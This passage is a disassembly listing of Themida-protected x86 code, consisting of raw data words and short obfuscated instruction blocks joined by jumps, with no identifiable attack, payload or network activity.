dd 19E92434h, 56FFFFB6h, 5E0B37BEh, 0C4E95224h, 0F700001Fh dd 32C281DAh, 2987F425h, 0D5F75AD5h, 54E9D5F7h, 2DFFFFF2h dd 7E6B1E9Ch, 9C05F801h, 8B7E6B1Eh, 0C481243Ch, 4, 0FFD6CEE9h dd 0EF815FFFh, 0FFFFFFFFh, 36D6E9h, 0E8285B00h, 0F1E95266h dd 8B000035h, 0D0E9241Ch, 0BAFFFF81h, 436E7499h, 1F69E281h dd 0CA8135B1h, 0EE73725h, 0FFDAFDE9h, 888BB1FFh, 240C8BC8h dd 4C481h, 0C3000000h, 0C3285866h, 808BB450h, 0E3286AC3h dd 80E5B252h, 44E975EAh, 89FFFFF5h, 5E542434h, 0B8BF5751h dd 0C1357372h, 0DFE904E7h, 68000029h, 76BFh, 68240C89h dd 4961h, 55242489h, 4BDh, 0B317E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53DFFA: ; CODE XREF: Themida_:00540A0Fj pop edx xor edx, 285D46E1h pop edi and eax, edx jmp loc_5397BE ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 align 10h dd 805B66DDh, 0B25284EDh, 0B95BE936h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E01E: ; CODE XREF: Themida_:00536E2Bj push edx mov edx, 6DE358Eh shl edx, 5 and edx, 27DD30E3h xor edx, 5B2E46B2h jmp loc_53A3D7 ; --------------------------------------------------------------------------- dd 405E089h, 0E9000000h, 0FFFFEE56h, 4C581h, 0ED830000h dd 242C8704h, 0E924248Bh, 0FFFF82E5h, 0A3E9DA01h, 0FE00000Eh dd 0DBE980C1h, 0FFCFDCE9h db 0FFh ; --------------------------------------------------------------------------- loc_53E069: ; CODE XREF: Themida_:0053F1D4j push 70AFh mov [esp], eax sub esp, 4 jmp loc_53F96C ; --------------------------------------------------------------------------- loc_53E07C: ; CODE XREF: Themida_:0053D92Cj and edx, 5BAA2355h jmp loc_53E32C ; --------------------------------------------------------------------------- loc_53E087: ; CODE XREF: Themida_:0053BDB8j add bl, dh mov edx, [esp] jmp loc_53EB07 ; --------------------------------------------------------------------------- db 66h, 81h, 0C9h dd 81660B23h, 534878C9h, 1503BB66h, 6EB8166h, 0EB81666Bh dd 4B666077h, 89E38166h, 0C3816618h, 2966F780h, 2434FFD9h dd 4C4815Bh, 66000000h, 8166D9F7h, 6617FCE9h, 665EE981h dd 8BCF8966h, 0C483240Ch, 0FB016604h, 0B70F5F66h, 5F5457C0h dd 5BE95753h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53E0EB: ; CODE XREF: Themida_:00540DF8j pop esi push ebp push edx mov edx, 25F14471h neg edx or edx, 1F8B2C90h shr edx, 8 jmp loc_536AA1 ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h, 77E95724h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E10F: ; CODE XREF: Themida_:00537404j push ebx mov ebx, 54323C31h jmp loc_53D0A1 ; --------------------------------------------------------------------------- loc_53E11A: ; CODE XREF: Themida_:005413BBj push eax mov eax, 3EDE106Bh mov edx, eax pop eax sub ebp, 754F5CF9h jmp loc_53CC82 ; --------------------------------------------------------------------------- dw 53ACh dd 0C7FE6AB7h, 0E908EFC0h, 0FFFFE4B5h ; --------------------------------------------------------------------------- loc_53E13C: ; CODE XREF: Themida_:00537C47j pop ecx sub ecx, 5704A18h mov ebx, [esp] add esp, 4 push ebp jmp loc_539B96 ; --------------------------------------------------------------------------- db 8Bh dd 0C481240Ch, 4, 1636BB53h, 0DF2136A5h, 4FB9515Bh, 81241111h dd 23567FC1h, 81D1F772h, 0E2EF50C1h, 2CE6E99Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53E17A: ; CODE XREF: Themida_:0053686Dj push eax mov eax, 594B1600h xor edx, eax jmp loc_53A63E ; --------------------------------------------------------------------------- db 5Ch dd 66240C89h, 0CCB15152h, 6659CA88h, 0E9D3B353h, 0FFFF81D4h dd 5204C483h, 0B68AB551h, 5EEE802Ch, 5166EE00h, 0EE005EB5h dd 0C7E95966h, 51000019h, 0FF98C0E9h db 0FFh ; --------------------------------------------------------------------------- loc_53E1BD: ; CODE XREF: Themida_:005399CAj xor edi, esi pop esi push ecx mov ecx, 17517AF1h push edi mov edi, 32C76370h add edi, 0EE67188Ch and ecx, edi jmp loc_53F7C7 ; --------------------------------------------------------------------------- loc_53E1D9: ; CODE XREF: Themida_:0053A9C2j xor ecx, 592C6D35h jmp loc_53E643 ; --------------------------------------------------------------------------- dd 0C0E9D601h, 51FFFFC0h, 0CBECBAB9h, 59CA2975h, 525AD601h dd 4BAh, 0CBC6E900h, 0BAE9FFFFh, 81FFFF78h, 4C4h, 243C8700h dd 288645Ch, 0FF78A8E9h, 243C8BFFh, 4C481h, 0E9010000h dd 0FF81BFE9h, 70E95CFFh, 87FFFFE8h, 0E95C2434h, 1479h db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_541FF5 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 93E90000h, 5C000029h, 54243489h, 0D1F5E95Eh dd 34FFFFFFh, 2434FF24h, 56241C8Bh, 0FFA5B0E9h, 6E2C1FFh dd 0B8505653h, 6F704F9Ch, 0BB585E50h, 0EAC9C9BEh, 818C381h dd 0F3010300h, 818EB81h, 0E95E0300h, 0FFFF7F39h ; --------------------------------------------------------------------------- loc_53E298: ; CODE XREF: Themida_:0053D7FBj sub eax, 49B5235Eh add eax, 79F05788h push 5BE1h mov [esp], edx sub dword ptr [esp], 7ADD75FAh pop dword ptr [eax] add dword ptr [eax], 7ADD75FAh push dword ptr [esp] pop eax add esp, 4 jmp loc_536DA6 ; --------------------------------------------------------------------------- db 89h, 0E1h, 81h dd 4C1h, 0E9575600h, 0FFFFA25Eh ; --------------------------------------------------------------------------- loc_53E2D4: ; CODE XREF: Themida_:00540B9Fj mov ebx, 36847F9Ah push eax mov eax, 664237EDh dec eax not eax inc eax jmp loc_53AE77 ; --------------------------------------------------------------------------- dd 0B75366ACh, 66F828FAh, 4EC835Bh, 0E9241C89h, 0FFFF8331h dd 15FF989h, 0B58BE9CAh, 0C681FFFFh, 4, 8704C683h, 0E95C2434h dd 0FFFFBAACh ; --------------------------------------------------------------------------- loc_53E318: ; CODE XREF: Themida_:00538E6Cj sub esp, 4 jmp loc_5383A5 ; --------------------------------------------------------------------------- loc_53E320: ; CODE XREF: Themida_:0053AC91j push ebx push edx mov edx, 4DF85BDAh jmp loc_53D1DC ; --------------------------------------------------------------------------- loc_53E32C: ; CODE XREF: Themida_:0053E082j or edx, 3D177988h sub edx, 7F3779D9h sub esi, edx pop edx xor esi, [esp] jmp loc_53B281 ; --------------------------------------------------------------------------- db 54h dd 8124048Fh, 42404h, 34FF0000h, 0EC815B24h, 4, 0E9242C89h dd 254Ah, 0DBBD5559h, 813F1978h, 0E68729C5h, 0CA1DE9C0h dd 0ABBFFFFh, 890E7673h, 0E5C15BDDh, 0BF58107h, 0E9069571h dd 0FFFF9972h ; --------------------------------------------------------------------------- loc_53E388: ; CODE XREF: Themida_:0053DA58j xchg ebp, [esp] pop esp jmp loc_53F1D0 ; --------------------------------------------------------------------------- db 81h, 0EDh, 2Eh dd 0E965BD58h, 0FFFFD725h, 0A729130Dh, 8E0C14Dh, 405D8F7h dd 1AFAB1Bh, 0B8E958C2h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E3B3: ; CODE XREF: Themida_:0053C084j not dword ptr [esp] pop ebx xchg ebx, ecx sub esp, 4 mov [esp], esi push ecx jmp loc_540E9A ; --------------------------------------------------------------------------- loc_53E3C5: ; CODE XREF: Themida_:0053EB0Aj add bl, 72h add bl, 4Ah add bl, al sub bl, 4Ah sub bl, 72h push small 101Ch jmp loc_53D669 ; --------------------------------------------------------------------------- dd 4E95150h, 1000014h, 5B04245Ch, 0E92434FFh, 0FFFF9744h db 5Ch ; --------------------------------------------------------------------------- loc_53E3F1: ; CODE XREF: Themida_:0054055Dj push ebx push ebx push eax mov eax, 7039303Ch add eax, 0FFFFFFFFh inc eax xor eax, 65FE0A6Eh shl eax, 4 sub eax, 0F586283Fh mov ebx, eax pop eax add dword ptr [esp+4], 7C2E1BCFh sub [esp+4], ebx jmp loc_53B18C ; --------------------------------------------------------------------------- dd 392AD0BBh, 1CEB8122h, 89EB5EF6h, 25B2E9DFh, 0EB810000h dd 4, 5C241C87h, 68243489h, 3636h, 83242489h, 0FF042404h dd 0E95E2434h, 0FFFF9339h ; --------------------------------------------------------------------------- loc_53E454: ; CODE XREF: Themida_:0053C200j pop dword ptr [esp] pop esp or eax, eax jz loc_53A2B8 push dword ptr [edi+28h] push dword ptr [esp] mov eax, [esp] add esp, 4 push ebp push esp pop ebp push ebx mov ebx, 60A66B11h not ebx add ebx, 1 add ebx, 0FFFFFFFFh push ecx mov ecx, 5AA830DBh or ecx, 456F5036h inc ecx xor ecx, 0C0B6E5EAh jmp loc_53CFE3 ; --------------------------------------------------------------------------- loc_53E49B: ; CODE XREF: Themida_:0053D0B0j sub eax, ebx pop ebx mov ecx, [esp] add esp, 4 add eax, edi push dword ptr [eax] pop ecx mov eax, [esp] jmp loc_541FA5 ; --------------------------------------------------------------------------- db 81h, 0EFh, 4 dd 87000000h, 0D8E9243Ch, 0FFFFFFEAh, 89518734h, 4C181E1h dd 52000000h, 4BAh, 8BD12900h, 0C4812414h, 4, 0FFB501E9h dd 0E9D028FFh, 0FFFFD6B2h ; --------------------------------------------------------------------------- loc_53E4E8: ; CODE XREF: Themida_:0053910Dj shr eax, 18h jmp loc_5378A1 ; --------------------------------------------------------------------------- loc_53E4F0: ; CODE XREF: Themida_:0053805Cj add esp, 4 add esp, 4 sub esp, 4 mov [esp], edx jmp loc_53B152 ; --------------------------------------------------------------------------- aZS db ')ÓZ)Ãé¿/',0 align 2 dw 0B850h dd 7D6658A3h, 6658A735h, 58C5017Dh, 0DDBD5556h, 0C137345Dh dd 52E907E5h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53E52B: ; CODE XREF: Themida_:00537CDDj add ecx, 6789101Dh jmp loc_5411CC ; --------------------------------------------------------------------------- loc_53E536: ; CODE XREF: Themida_:00536CF4j mov edi, edx pop edx push ebp jmp loc_538878 ; --------------------------------------------------------------------------- db 80h dd 0E80089C5h db 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_53AE14 ; --------------------------------------------------------------------------- db 81h, 0EEh, 37h dd 587E545h, 1EF83518h, 57E9F029h, 2D000033h, 0ABC94A4Ah dd 8158C301h, 337640EBh, 0ECB0E942h, 0C580FFFFh, 0C1B252FFh dd 805AD508h, 0C580B4F5h, 64C36887h, 1C890000h, 3090B724h dd 0EE285BFDh, 28A60459h, 8D53E9F0h, 0C381FFFFh, 4, 4EC8350h dd 0FFC5E7E9h, 2BBFFh, 0DD010000h, 242C875Bh, 6BC2685Ch dd 0C890000h, 50BF6824h, 4890000h, 0E9D48824h, 1142h, 83240C8Bh dd 814104C4h, 1AF16FC1h, 0E7C681E9h, 162AE50h, 0E7EE81CEh dd 8B62AE50h, 0C481240Ch, 4, 499BBB53h, 0EB816ABAh, 6ABA4997h dd 335BDE01h, 34312434h, 24343324h, 8124248Bh, 4ECh, 0BC64E900h dd 15AFFFFh, 58088BF8h, 8904EC83h, 4E68243Ch, 89000073h dd 0C2E9242Ch, 53FFFF98h, 0B2CFB3BBh, 5BD929B8h, 4582C781h dd 54E90506h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53E643: ; CODE XREF: Themida_:0053E1DFj push ebp mov ebp, 126373ABh shl ebp, 1 neg ebp add ebp, 87EB4807h jmp loc_539422 ; --------------------------------------------------------------------------- dd 0E9C4C180h, 0FFFFB0AEh, 240C8B66h, 6CE468h, 241C8900h dd 0C3815B54h, 4, 3DC568h, 24148900h, 2BAh, 55BE5600h dd 5372916Eh, 1300B6BBh, 93E38163h, 8145DF4Fh, 0CF7EF2F3h dd 0B2CB810Eh, 813E0F75h, 0D9047FCBh, 0EAD6E950h, 48FFFFFh dd 24248B24h, 0BB53h, 0DAE90000h, 30FFFF74h, 0E9C058E1h dd 0CAC18008h, 33E9172Ch, 81FFFFA0h, 0F5909CF1h, 59CF31DFh dd 0E95FF829h, 0FFFF73E5h, 8324048Bh, 0C48304C4h, 73D7E904h dd 0C481FFFFh, 4, 0E9243C8Bh, 2F93h, 240C895Ch, 240C8B54h dd 0FFBFC9E9h, 2D45BAFFh, 0C681004Ah, 1F323047h, 72E9D629h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E717: ; CODE XREF: Themida_:0053969Cj shr edx, 4 or edx, 452650CCh push ebp mov ebp, 0C53164h sub edx, ebp pop ebp add ecx, edx jmp loc_53BFC5 ; --------------------------------------------------------------------------- dd 565EF329h, 0C4712CBEh, 41F68170h, 81656E20h, 0DE0DB3CEh dd 0BA524E61h, 3EF58B4Bh, 0DDE9D601h, 66FFFFBAh, 66241C87h dd 81243C8Bh, 2C4h, 66576600h, 22474FFh, 243C8B66h, 0E904EC83h dd 361Dh, 78AEE950h, 0DA01FFFFh, 96E3E95Bh, 0FB01FFFFh dd 241C875Fh, 0FF24248Bh, 0E99C240Ch, 0FFFF732Dh, 4305F029h dd 0E902F00Fh, 2CCAh, 0BB53D001h, 1AA80950h, 8B5BD829h dd 89562414h, 0BFBBE9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E7B6: ; CODE XREF: Themida_:00538F53j pop esi jmp loc_5370C5 ; --------------------------------------------------------------------------- dd 0A054F05h, 68C32528h, 0DE90E0Ah, 80FFFF7Eh, 0C6803CF6h dd 9A6BE97Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E7D6: ; CODE XREF: Themida_:0053C4FDj shl edi, 2 jmp loc_53D1F6 ; --------------------------------------------------------------------------- loc_53E7DE: ; CODE XREF: Themida_:0054094Dj pop ebx neg edi shr edi, 8 push 5E5Ch mov [esp], ebp jmp loc_538D22 ; --------------------------------------------------------------------------- loc_53E7F1: ; CODE XREF: Themida_:00541B23j sub edi, eax pop eax and eax, edi mov edi, [esp] add esp, 4 shr eax, 10h jmp loc_539634 ; --------------------------------------------------------------------------- dd 8B242C87h, 34FF2424h, 2434FF24h, 8124048Bh, 4C4h, 4C48100h dd 57000000h, 0C781E789h, 4, 0E62CE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53E82E: ; CODE XREF: Themida_:0053F45Dj pop esp mov [esp], bx mov bl, 0D4h jmp loc_53601D ; --------------------------------------------------------------------------- dw 0B4B0h dd 0C8FED72Ch, 0FFC331E9h, 240C8BFFh, 4C481h, 0A9E90000h dd 81FFFFBCh, 4ECh, 24248900h, 171FE9h, 55D9F700h, 0ECBA54BDh dd 5DE929A5h, 0C8B5D51h, 4C48324h, 875DEB01h, 248B241Ch dd 148B6624h, 24FEE924h, 4F2D0000h, 563A043Ch, 2F00B1BEh dd 14F75672h, 0E6C15E24h, 7EEC108h, 7837E681h, 0D6F74DB6h dd 0E9A5C681h, 0F0013EA4h, 0FFE5BBE9h db 0FFh ; --------------------------------------------------------------------------- loc_53E8B1: ; CODE XREF: Themida_:005423BEj and eax, ebp push dword ptr [esp] pop ebp jmp loc_541CFA ; --------------------------------------------------------------------------- dd 1118E959h, 0EB800000h, 4EC83E2h, 0B6241489h, 15E68095h dd 5009F680h, 2EC81h, 89660000h, 8EB62414h, 5A66F088h dd 0C058C630h, 0C68005EEh, 0F1EE8001h, 2C3BE9h db 0 ; --------------------------------------------------------------------------- loc_53E8F5: ; CODE XREF: Themida_:00541754j add esp, 4 push 73B4h mov [esp], esi jmp loc_537EE9 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 6659669Dh, 9C241CD3h, 0FF71ACE9h, 0E0EB81FFh, 81D2E161h dd 9102E7EDh, 81DD2921h, 9102E7C5h, 241C8B21h, 4C481h dd 0EDC10000h, 0FFED8304h, 93E4F581h, 762D1FCCh, 2979A97Eh dd 7E7605E8h, 8B5D79A9h, 0DE92434h, 0BBFFFF91h, 4F832150h dd 0CFE9D3F7h, 0FFFFE6h, 664804D8h, 72D1E951h, 0C180FFFFh dd 59CA28A2h, 0C2FED2F6h, 0E955C280h, 1E88h, 0C87D1F7h dd 24148B24h, 4C481h, 0F2810000h, 8CCE9B46h, 0FFE255E9h dd 240C8BFFh, 81E18951h, 4C1h, 4C18100h, 87000000h, 815C240Ch dd 923E3FEEh, 6E6C156h, 0F681EED1h, 48426C4Bh, 9D09EE81h dd 0F2894C21h, 0EEFE95Eh, 0B8500000h, 2, 8758C501h, 248B242Ch dd 0D3CEE924h, 0C581FFFFh, 3AC03663h, 0FFBD6FE9h, 30E981FFh dd 0E920F628h, 0FFFFD300h ; --------------------------------------------------------------------------- loc_53E9F4: ; CODE XREF: Themida_:00539600j push eax push esp mov eax, [esp] add esp, 4 push ecx jmp loc_540665 ; --------------------------------------------------------------------------- dw 3059h dd 0F83058C7h, 0FF9CD2E9h, 4BF57FFh, 0E9000000h, 1380h ; --------------------------------------------------------------------------- loc_53EA18: ; CODE XREF: Themida_:0053BB44j mov esi, 200000h and eax, esi mov esi, [esp] push ebp jmp loc_541045 ; --------------------------------------------------------------------------- loc_53EA28: ; CODE XREF: Themida_:00535C66j mov edi, ebx push edi jmp loc_53FF23 ; --------------------------------------------------------------------------- dd 2C0DD0F7h, 35148325h, 7CBFF7FCh, 48BC301h, 0EC835724h dd 7634E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EA4A: ; CODE XREF: Themida_:0053CC74j push ebx mov ebx, 0D4C3508h shl ebx, 8 push ebp mov ebp, 54DB1EF9h sub ebp, 75928FBh shl ebp, 7 add ebp, 141600E7h neg ebp shl ebp, 3 xor ebp, 5D591D41h xor ebx, ebp pop ebp not ebx push esi mov esi, 40C85F10h dec esi or esi, 23A3148Dh sub esi, 29EEFB7Dh sub ebx, 78D606CCh add ebx, esi jmp loc_539EA5 ; --------------------------------------------------------------------------- dd 3FBEA81h, 0C2812303h, 9BCAE06h, 0E95AD101h, 0FFFFEE85h ; --------------------------------------------------------------------------- loc_53EAAC: ; CODE XREF: Themida_:00541146j add ebp, 3D456ACh xor edi, ebp jmp loc_538FA8 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0C5h dd 4, 4BE56h, 0ED810000h, 245F3564h, 0FF886CE9h, 24048BFFh dd 2A3BE9h db 0 ; --------------------------------------------------------------------------- loc_53EAD9: ; CODE XREF: Themida_:00541EBDj mov eax, 5110160Fh sub eax, 76057C6Ch push ebx mov ebx, 520D1D89h add eax, 744C349Dh jmp loc_53CC53 ; --------------------------------------------------------------------------- db 81h dd 0E364DBC3h, 24148B18h, 0FF7733E9h, 0F3E951FFh db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EB07: ; CODE XREF: Themida_:0053E08Cj add esp, 4 jmp loc_53E3C5 ; --------------------------------------------------------------------------- db 0FFh dd 5B042474h, 5C24048Fh, 68241C89h, 3E8Ch, 83240489h, 148904ECh dd 4EC8124h, 89000000h, 1CE9241Ch, 68FFFFFEh, 0AC4h, 83243C89h dd 248904ECh, 24048324h, 7E34E904h, 248BFFFFh, 24148924h dd 66E99C50h, 68FFFF6Fh, 3AAh, 0FFF7DEE9h, 0B181B3FFh dd 0FFD9302Dh, 515B2434h, 0C181E189h, 4, 4C181h, 0C870000h dd 0C9805C24h, 0BFB450FEh, 0FF8257E9h, 4C481FFh, 87000000h dd 248B241Ch, 0B60F6624h, 9446E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EBA2: ; CODE XREF: Themida_:005415A5j add ah, bl jmp loc_53C2BC ; --------------------------------------------------------------------------- loc_53EBA9: ; CODE XREF: Themida_:00540660j mov esp, [esp] push ebx push ecx push 42BD0DB4h pop ecx jmp loc_539268 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 24042966h, 6EFBE99Ch, 481FFFFh, 424h, 242C8B00h, 0FF9245E9h dd 28C680FFh, 0FF7080E9h db 0FFh ; --------------------------------------------------------------------------- loc_53EBDD: ; CODE XREF: Themida_:0053CC5Bj push ebx mov ebx, 662852A2h neg ebx shr ebx, 4 shl ebx, 7 add ebx, 0D841702h and ebx, 9005E86h xor ebx, 49D819B7h jmp loc_53BE1B ; --------------------------------------------------------------------------- loc_53EC02: ; CODE XREF: Themida_:00540BC7j mov edi, 45C478A3h mov ebx, 8EC9CCAh add ebx, edi jmp loc_53858F ; --------------------------------------------------------------------------- db 0BDh dd 4, 0DFE9EB01h, 81FFFF9Fh, 0D2F448F5h, 5DEE29F1h, 2474FF56h dd 48F5E04h, 34895C24h, 3EB85024h, 0C17C693Bh, 0E0C107E0h dd 7C023502h, 65E9D276h, 66FFFF99h, 0E95EE8B9h, 31F8h dd 81E38953h, 4C3h, 41BF5700h, 0D14EC022h, 0C847E9EFh dd 2C89FFFFh, 4BD24h, 0EF010000h, 64E9505Dh, 5DFFFF9Ch dd 4EC81h, 0C890000h, 0ACBA5224h, 895A9F19h, 0CB295AD1h dd 83240C8Bh, 0C38104C4h, 18450672h, 0FF8B32E9h db 0FFh ; --------------------------------------------------------------------------- loc_53ECA1: ; CODE XREF: Themida_:0053A11Cj sub eax, 5E49549Dh sub eax, 3B2C3E70h neg eax xor eax, 0FACD5A0Eh sub ecx, eax jmp loc_5388E9 ; --------------------------------------------------------------------------- db 28h, 0E8h, 0E9h dd 0FFFF7179h, 0FEC5814Dh, 21B73305h, 31D9E9EEh, 4290000h dd 0EAE99C24h, 4BFFFF6Dh, 0F381D3F7h, 0BB3BFDD2h, 4B7DB850h dd 0C1487B12h, 16E907E8h, 0BAFFFF9Ah, 0FA4DB669h, 158C201h dd 4335AD0h, 24043124h, 0E9240433h, 0FFFFA66Bh, 0EC83E789h dd 24148904h, 466E6850h, 4858469Ch, 4D89BB53h, 0D8312F88h dd 0FFD705E9h db 0FFh ; --------------------------------------------------------------------------- loc_53ED25: ; CODE XREF: Themida_:0053A541j mov eax, [esp] push 4B9Ah jmp loc_53B1F8 ; --------------------------------------------------------------------------- loc_53ED32: ; CODE XREF: Themida_:0053D81Fj mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_53AABE ; --------------------------------------------------------------------------- db 89h dd 0F4E95AD0h, 0B9FFFF91h, 6334F60Eh, 559CB01h, 3E213342h dd 0EB264005h, 0BCE1E930h, 15FFFFFh, 2434FFE8h, 4C4835Dh dd 6802E883h, 7Ch, 0FF240489h, 58042474h, 8B24048Fh, 89662424h dd 50662414h, 6D2BE99Ch, 875EFFFFh, 0F5C242Ch, 37E9C8B7h dd 80FFFFE5h, 0F5302FEEh, 951EE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EDAE: ; CODE XREF: Themida_:00540A72j pop esi jmp loc_540D31 ; --------------------------------------------------------------------------- loc_53EDB4: ; CODE XREF: Themida_:0053B9F9j xor ebp, 7288BEDFh jmp loc_539881 ; --------------------------------------------------------------------------- db 59h dd offset dword_510448+220h dd 24348900h, 7D4AE955h, 835EFFFFh, 0EA8104C4h, 59C741CDh dd 0FFC6C9E9h, 5A5452FFh, 611B850h, 0E8D14F1Fh, 0FFF5AFE9h dd 0E9DD89FFh, 0FFFFAEE6h, 194A06B9h, 59CA212Ah, 7EE9D2F7h dd 5F00000Ah, 0FFFBC1E9h, 243C31FFh, 0E9243C33h, 0FFFF6FC5h dd 24048B66h, 4EC81h, 1C890000h, 52E38924h, 551D73BAh dd 0C2834A6Ah, 8E2C1FFh, 814AE2D1h, 3AE1FBEAh, 0C9C381AAh dd 136B269h, 0C9EB81D3h, 8B36B269h, 0C4832414h, 2BE5604h dd 1000000h, 88E95EF3h, 0F7FFFF71h, 1FD8E9D6h, 0DD890000h dd 52EB95Bh, 80E90A5Ah db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_53EE6F: ; CODE XREF: Themida_:0053985Aj mov [esp], edx push ecx mov ecx, 7E395DA2h mov edx, ecx pop ecx xor esi, edx mov edx, [esp] add esp, 4 push esi xor dword ptr [esp], 1D6F3AA9h jmp loc_5363CA ; --------------------------------------------------------------------------- dd 0FF6C2CE9h, 7935BDFFh, 0ADE900C4h, 0E900001Eh, 0FFFF6C1Dh dd 83243C8Bh, 48F04C4h, 24248B24h, 0B8240489h, 7A27520h dd 4805E0C1h, 0FFE5BAE9h, 67E95BFFh, 89FFFFC7h, 69B02404h dd 0FE58C588h, 0F6C5FEC5h, 815366DDh, 4ECh, 24048900h dd 0C4FE03B4h, 51C6EC80h, 0CB88E188h, 24048B59h, 0FFF114E9h dd 81E289FFh, 4C2h, 790AE900h, 0C281FFFFh, 54602C84h, 4D5E9h dd 0FF555700h, 8B042474h, 0F9E9242Ch, 81FFFFBFh, 9F15F8EFh dd 0B5CF8161h, 8111EA0Dh, 111853F7h, 17E95327h, 33FFFFB0h dd 248B240Ch, 24040124h, 6B7FE99Ch, 0C181FFFFh, 4, 3304C183h dd 0C31240Ch, 0EC5BE924h, 5255FFFFh, 8151E8BAh, 0E9D58977h dd 0FFFFED9Bh, 0CCBD55ADh, 53673429h, 0B33B4BBBh, 0EECB8113h dd 4300792Dh, 0AAF3814Bh, 11DD928h, 0B9515BDDh, 399572AFh dd 477EC181h, 0D9F758D0h, 7B3CC181h, 81497B98h, 3B8678E9h dd 0CE3BE9E5h, 0F74AFFFFh, 2A80E9DAh, 0EC830000h, 24348904h dd 0E9575E54h, 0FFFFDF60h, 4C481h, 0B60F0000h, 23D0E9C0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53EFC6: ; CODE XREF: Themida_:0053C28Cj push dword ptr [esp] pop eax add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] jmp loc_537243 ; --------------------------------------------------------------------------- dw 39B9h dd 2D6ED23Ah, 5AFA7B6Dh, 6D05C801h, 595AFA7Bh, 0FF8BB7E9h dd 0B25259FFh, 8950E936h, 815FFFFFh, 4C4h, 5DEA2900h, 1298EA81h dd 0C2294C9Fh, 1298C281h, 0BF574C9Fh, 3EE275C4h, 13DFE9h db 0 ; --------------------------------------------------------------------------- loc_53F029: ; CODE XREF: Themida_:0053D7E2j mov eax, [esp] jmp loc_5363A1 ; --------------------------------------------------------------------------- loc_53F031: ; CODE XREF: Themida_:0053C581j mov [esp], ecx jmp loc_53AE25 ; --------------------------------------------------------------------------- db 29h, 0FEh, 0E9h dd 0FFFFC059h ; --------------------------------------------------------------------------- loc_53F040: ; CODE XREF: Themida_:0053C379j add esi, 2EB96AADh add esi, 7AD84F42h add esi, eax sub esi, 7AD84F42h jmp loc_53BD52 ; --------------------------------------------------------------------------- loc_53F059: ; CODE XREF: Themida_:0053F57Aj pop esp jmp loc_538C04 ; --------------------------------------------------------------------------- db 1 dd 24348BF0h, 5604C483h, 9422E8BEh, 5EF00131h, 4C03B850h dd 0D8F719E0h, 0FFDF47E9h, 2414F7FFh, 0E953565Bh, 0FFFF7760h dd 3166AD66h, 4EC83D8h, 66241C89h, 664290BBh, 56BA6652h dd 0D321666Bh, 0C1665A66h, 5BE907EBh, 59000009h, 0FF7657E9h dd 241C8BFFh, 6804C483h, 1577h, 55240C89h, 8904EC83h, 57BF243Ch dd 81004F76h, 8011BEC7h, 67F7817Dh, 0F75E7030h, 0B0D1E9D7h dd 5655FFFFh, 11275ABEh, 5E5D5678h, 0FFB265E9h db 0FFh ; --------------------------------------------------------------------------- loc_53F0ED: ; CODE XREF: Themida_:0053AE95j sub esp, 4 jmp loc_53B6D8 ; --------------------------------------------------------------------------- loc_53F0F5: ; CODE XREF: Themida_:0053A2C8j mov [esp], edx push 66B7h push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_537140 ; --------------------------------------------------------------------------- loc_53F10D: ; CODE XREF: Themida_:00537CE8j mov edx, ebp jmp loc_537A21 ; --------------------------------------------------------------------------- dd 0AB6859h, 2C890000h, 2474FF24h, 865BE904h, 0BA52FFFFh dd 2, 71AED81h, 0D5014866h, 71AC581h, 335A4866h, 3E9242Ch dd 87FFFFB5h, 87D2F7D3h, 41C381D3h, 89775C88h, 0D8315BD8h dd 2DD0F75Bh, 848FC1D9h, 48BC289h, 752AE924h, 0CD80FFFFh dd 4E5C06Fh, 0E9B2B753h, 0FFFFD9ECh ; --------------------------------------------------------------------------- loc_53F174: ; CODE XREF: Themida_:005378DBj xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp sub esp, 4 mov [esp], ebx push edx push 19ED304Eh pop edx sub edx, 9E190DE3h push ebp mov ebp, edx mov ebx, ebp jmp loc_53B9D7 ; --------------------------------------------------------------------------- db 0FFh dd 815B2434h, 4C4h, 0F3F0E900h, 2C89FFFFh, 0E6895624h dd 15D0BB53h, 0E9E902A9h, 83FFFFCCh, 148904ECh, 0B0C3E924h dd 535CFFFFh, 0E956E389h, 0FFFFCDBBh ; --------------------------------------------------------------------------- loc_53F1D0: ; CODE XREF: Themida_:0053E38Cj mov [esp], ebx push ebx jmp loc_53E069 ; --------------------------------------------------------------------------- db 0B8h, 64h, 69h dd 6E353667h, 403C4F7Bh, 2812072Dh, 58C7290Ah, 0E9243C33h dd 0FFFFFC15h, 8124048Bh, 4C4h, 243C8700h, 0B30F665Ch dd 0E99C2404h, 0FFFF68B5h, 237FED68h, 0E2815A1Dh, 7825568Bh dd 0C1EAD14Ah, 0E28105E2h, 5972F0Dh, 6D8E951h, 51AC0000h dd 285A68h, 241C8900h, 86E9DFB3h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- 